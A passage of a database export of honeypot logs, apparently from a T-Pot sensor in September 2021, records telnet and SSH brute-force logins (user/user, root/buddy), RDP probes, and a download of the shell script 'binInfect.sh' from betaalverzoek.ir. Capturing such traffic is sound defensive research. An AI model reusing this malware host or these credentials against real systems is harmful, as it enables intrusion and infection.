"dl/bd4af690f128a51836b902805c3e86396a1c2540190c222b1e0ae4091c59150f", "session": "90b855a8ccd2", "@version": "1", "destfile": "/binInfect.sh", "timestamp": "2021-09-20T11:25:52.451688Z", "@timestamp": "2021-09-20T11:25:52.451Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
29389	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:52.819223+03	2021-09-20 14:30:04.069524+03	{"_id": "Sgb0AnwBvYTbRNuEjDWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/binInfect.sh", "length": 1987, "status": 200, "hostname": "betaalverzoek.ir", "protocol": "HTTP/1.0", "http_method": "GET", "http_user_agent": "curl/7.38.0", "http_content_type": "application/x-sh"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 992867317248931, "@version": "1", "in_iface": "enp5s0", "src_port": 50932, "dest_port": 80, "timestamp": "2021-09-20T11:25:52.819223Z", "@timestamp": "2021-09-20T11:25:52.819Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
29390	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:25:52.819223+03	2021-09-20 14:30:04.070523+03	{"_id": "Tgb0AnwBvYTbRNuEjDWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/binInfect.sh", "length": 1987, "status": 200, "hostname": "betaalverzoek.ir", "protocol": "HTTP/1.0", "http_method": "GET", "http_user_agent": "curl/7.38.0", "http_content_type": "application/x-sh"}, "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "TCP", "src_ip": "109.104.151.11", "dest_ip": "192.168.20.116", "flow_id": 992867317248931, "@version": "1", "fileinfo": {"md5": "05b215cc1fce4e08c4a5c5693e3bc2ec", "gaps": false, "size": 1987, "magic": "Bourne-Again shell script, ASCII text executable", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/binInfect.sh"}, "in_iface": "enp5s0", "src_port": 80, "app_proto": "http", "dest_port": 50932, "timestamp": "2021-09-20T11:25:52.819223Z", "@timestamp": "2021-09-20T11:25:52.819Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
29391	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:52.830053+03	2021-09-20 14:30:04.071524+03	{"_id": "Twb0AnwBvYTbRNuEjDWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 58124, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1146981481228901, "@version": "1", "in_iface": "enp5s0", "src_port": 47514, "dest_port": 53, "timestamp": "2021-09-20T11:25:52.830053Z", "@timestamp": "2021-09-20T11:25:52.830Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29392	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:25:52.835436+03	2021-09-20 14:30:04.073524+03	{"_id": "UAb0AnwBvYTbRNuEjDWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 56638, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 600, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2029882875885684, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 42178, "timestamp": "2021-09-20T11:25:52.835436Z", "@timestamp": "2021-09-20T11:25:52.835Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29403	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:25:48.957318+03	2021-09-20 14:30:04.087524+03	{"_id": "Hgb0AnwBvYTbRNuEezU7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 109.104.151.106:36368 (192.168.176.2:23) [session: 90b855a8ccd2]", "session": "90b855a8ccd2", "@version": "1", "protocol": "telnet", "src_port": 36368, "dest_port": 23, "timestamp": "2021-09-20T11:25:48.957318Z", "@timestamp": "2021-09-20T11:25:48.957Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	telnet	cowrie.session.connect	\N	known attacker	\N
29393	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:25:53.308696+03	2021-09-20 14:30:04.074523+03	{"_id": "TQb0AnwBvYTbRNuEjDWQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.544593+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2017382373543761, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60719, "dest_port": 3389, "timestamp": "2021-09-20T11:25:53.308696Z", "@timestamp": "2021-09-20T11:25:53.308Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29394	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:25:53.308696+03	2021-09-20 14:30:04.075525+03	{"_id": "Ugb0AnwBvYTbRNuEjDWR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.544593+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2017382373543761, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 60719, "dest_port": 3389, "timestamp": "2021-09-20T11:25:53.308696Z", "@timestamp": "2021-09-20T11:25:53.308Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
29395	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:25:57.376431+03	2021-09-20 14:30:04.077525+03	{"_id": "aAb0AnwBvYTbRNuEnTVh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35198, "dest_port": 443, "timestamp": "2021-09-20T11:25:57.376431", "@timestamp": "2021-09-20T11:25:57.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
29396	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:57.845454+03	2021-09-20 14:30:04.078525+03	{"_id": "cwb0AnwBvYTbRNuEoDUa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "tftp": {"file": "binInfect.sh", "mode": "octet", "packet": "read"}, "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "109.104.151.11", "flow_id": 872530923536644, "@version": "1", "in_iface": "enp5s0", "src_port": 51779, "dest_port": 69, "timestamp": "2021-09-20T11:25:57.845454Z", "@timestamp": "2021-09-20T11:25:57.845Z", "event_type": "tftp", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	tftp	\N	\N
29397	109.104.151.11	109.199.241.180	Suricata	2021-09-20 14:25:58.024621+03	2021-09-20 14:30:04.079523+03	{"_id": "dQb0AnwBvYTbRNuEoDUb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:25:52.835844+0000", "pkts_toclient": 2, "pkts_toserver": 2, "bytes_toclient": 182, "bytes_toserver": 126}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL ICMP_INFO Destination Unreachable Port Unreachable", "signature_id": 2100402}, "geoip": {"ip": "109.104.151.11", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "proto": "ICMP", "src_ip": "109.104.151.11", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 872530923536644, "payload": "RQAAMbGSQAAxEb6ZwKgUdG1olwvKQwBFAB0GLwABYmluSW5mZWN0LnNoAG9jdGV0AA==", "@version": "1", "in_iface": "enp5s0", "app_proto": "tftp", "icmp_code": 3, "icmp_type": 3, "timestamp": "2021-09-20T11:25:58.024621Z", "@timestamp": "2021-09-20T11:25:58.024Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "E..1..@.1......tmh...C.E.../..binInfect.sh.octet."}}	1	\N	\N	alert	\N	\N
29398	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:25:57.845045+03	2021-09-20 14:30:04.080524+03	{"_id": "dgb0AnwBvYTbRNuEoDUb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 44943, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "betaalverzoek.ir", "rrtype": "A", "answers": [{"ttl": 595, "rdata": "109.104.151.11", "rrname": "betaalverzoek.ir", "rrtype": "A"}], "grouped": {"A": ["109.104.151.11"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 294344573968588, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 46660, "timestamp": "2021-09-20T11:25:57.845045Z", "@timestamp": "2021-09-20T11:25:57.845Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
29399	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:25:47.610012+03	2021-09-20 14:30:04.082524+03	{"_id": "FAb0AnwBvYTbRNuEdzVS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 128.199.123.0:46664 (192.168.176.2:22) [session: b30602d26bcc]", "session": "b30602d26bcc", "@version": "1", "protocol": "ssh", "src_port": 46664, "dest_port": 22, "timestamp": "2021-09-20T11:25:47.610012Z", "@timestamp": "2021-09-20T11:25:47.610Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
29400	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:25:47.962889+03	2021-09-20 14:30:04.083523+03	{"_id": "FQb0AnwBvYTbRNuEdzVS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "b30602d26bcc", "@version": "1", "timestamp": "2021-09-20T11:25:47.962889Z", "@timestamp": "2021-09-20T11:25:47.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
29401	128.199.123.0	109.199.241.180	Suricata	2021-09-20 14:25:47.785779+03	2021-09-20 14:30:04.084525+03	{"_id": "Fgb0AnwBvYTbRNuEeTUC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh-0.6.3"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "flow_id": 1069004202157402, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 46664, "dest_port": 22, "timestamp": "2021-09-20T11:25:47.785779Z", "@timestamp": "2021-09-20T11:25:47.785Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
29402	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:25:47.788541+03	2021-09-20 14:30:04.086523+03	{"_id": "Fwb0AnwBvYTbRNuEejU0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46664, "timestamp": "2021-09-20T11:25:47.788541", "@timestamp": "2021-09-20T11:25:47.788Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
29407	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:25:47.962621+03	2021-09-20 14:30:04.092524+03	{"_id": "GAb0AnwBvYTbRNuEejU0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 46664, "dest_port": 22, "timestamp": "2021-09-20T11:25:47.962621", "@timestamp": "2021-09-20T11:25:47.962Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
29408	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:25:48.756071+03	2021-09-20 14:30:04.094523+03	{"_id": "Hwb0AnwBvYTbRNuEezU7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/buddy] failed", "session": "b30602d26bcc", "@version": "1", "password": "buddy", "username": "root", "timestamp": "2021-09-20T11:25:48.756071Z", "@timestamp": "2021-09-20T11:25:48.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
29409	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:25:40.000215+03	2021-09-20 14:30:04.095523+03	{"_id": "IAb0AnwBvYTbRNuEfDXr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:24:39.042249+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 10576079594761, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 64995, "timestamp": "2021-09-20T11:25:40.000215Z", "@timestamp": "2021-09-20T11:25:40.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
29410	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:25:49.337016+03	2021-09-20 14:30:04.096524+03	{"_id": "Igb0AnwBvYTbRNuEfzUk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.login.success", "message": "login attempt [user/user] succeeded", "session": "90b855a8ccd2", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:25:49.337016Z", "@timestamp": "2021-09-20T11:25:49.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
29411	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:25:56.931012+03	2021-09-20 14:30:04.097524+03	{"_id": "Ygb0AnwBvYTbRNuEnDUy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 21927, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 1090, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": 